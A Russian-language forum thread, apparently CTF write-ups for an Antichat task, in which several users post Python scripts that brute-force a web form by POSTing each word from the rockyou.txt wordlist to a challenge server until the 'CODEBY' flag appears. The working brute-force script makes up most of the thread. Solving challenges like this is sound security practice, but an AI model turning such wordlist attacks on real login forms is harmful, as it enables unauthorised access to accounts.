ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Antichat CTF - Уцуцуга (WriteUp) (https://forum.antichat.xyz/showthread.php?t=1642116)

delifer 19.07.2023 01:12

Python:


Код:

import
requests

f
=
open
(
"/usr/share/wordlists/rockyou.txt"
,
mode
=
"r"
)
f
.
readline
(
)
for
i
in
f
:
key
=
{
"word"
:
i
}
r
=
requests
.
post
(
"http://62.173.140.174:13000/"
,
data
=
key
)
print
(
r
.
text
)
#print(content)
print
(
i
)
f
.
close
(
)

Ищем флаг глазами, если увидели останавилваем прогу, копируем и проходим таск!
Я пытался сделать остановку по клчючевому слову "CODEBY", но он почему-то не хотел. Если знаете как это сделать, то напишите.
Моя попытка:

Python:


Код:

import
requests
from
bs4
import
BeautifulSoup

f
=
open
(
"/usr/share/wordlists/rockyou.txt"
,
mode
=
"r"
)
f
.
readline
(
)
for
i
in
f
:
key
=
{
"word"
:
i
}
r
=
requests
.
post
(
"http://62.173.140.174:13000/"
,
data
=
key
)
soup
=
BeautifulSoup
(
r
.
text
,
"lxml"
)
#print(r.text)
content
=
soup
.
find
(
'p'
,
id
=
'strong'
)
#print(content)
if
str
(
"CODEBY"
)
in
str
(
content
)
:
print
(
i
)
f
.
close
(
)


Exited3n 19.07.2023 01:43

Python:


Код:

import
requests
with
open
(
"words"
,
mode
=
"r"
)
as
file
:
words
=
file
.
read
(
)
.
split
(
)
# Разделить на список слов
for
word
in
words
:
key
=
{
"word"
:
word
}
r
=
requests
.
post
(
"http://62.173.140.174:13000/"
,
data
=
key
)
if
"CODEBY"
in
r
.
text
:
print
(
f'Password:{word}'
)
print
(
f'Flag:{r.text[595:618]}'
)
break


delifer 19.07.2023 02:49

Цитата:


Exited3n сказал(а):

Python:


Код:

import
requests
with
open
(
"words"
,
mode
=
"r"
)
as
file
:
words
=
file
.
read
(
)
.
split
(
)
# Разделить на список слов
for
word
in
words
:
key
=
{
"word"
:
word
}
r
=
requests
.
post
(
"http://62.173.140.174:13000/"
,
data
=
key
)
if
"CODEBY"
in
r
.
text
:
print
(
f'Password:{word}'
)
print
(
f'Flag:{r.text[595:618]}'
)
break


вот я и нашёл у себя ошибку, спасибо за ответ

W1N53 25.08.2023 01:30

Цитата:


D3L1F3R сказал(а):

Python:


Код:

import
requests

f
=
open
(
"/usr/share/wordlists/rockyou.txt"
,
mode
=
"r"
)
f
.
readline
(
)
for
i
in
f
:
key
=
{
"word"
:
i
}
r
=
requests
.
post
(
"http://62.173.140.174:13000/"
,
data
=
key
)
print
(
r
.
text
)
#print(content)
print
(
i
)
f
.
close
(
)

Ищем флаг глазами, если увидели останавилваем прогу, копируем и проходим таск!
Я пытался сделать остановку по клчючевому слову "CODEBY", но он почему-то не хотел. Если знаете как это сделать, то напишите.
Моя попытка:

Python:


Код:

import
requests
from
bs4
import
BeautifulSoup

f
=
open
(
"/usr/share/wordlists/rockyou.txt"
,
mode
=
"r"
)
f
.
readline
(
)
for
i
in
f
:
key
=
{
"word"
:
i
}
r
=
requests
.
post
(
"http://62.173.140.174:13000/"
,
data
=
key
)
soup
=
BeautifulSoup
(
r
.
text
,
"lxml"
)
#print(r.text)
content
=
soup
.
find
(
'p'
,
id
=
'strong'
)
#print(content)
if
str
(
"CODEBY"
)
in
str
(
content
)
:
print
(
i
)
f
.
close
(
)


python3 | grep "CODEBY", как вариант с использованием утилиты командной строки grep, с поиском по ключевому слову


Время: 21:23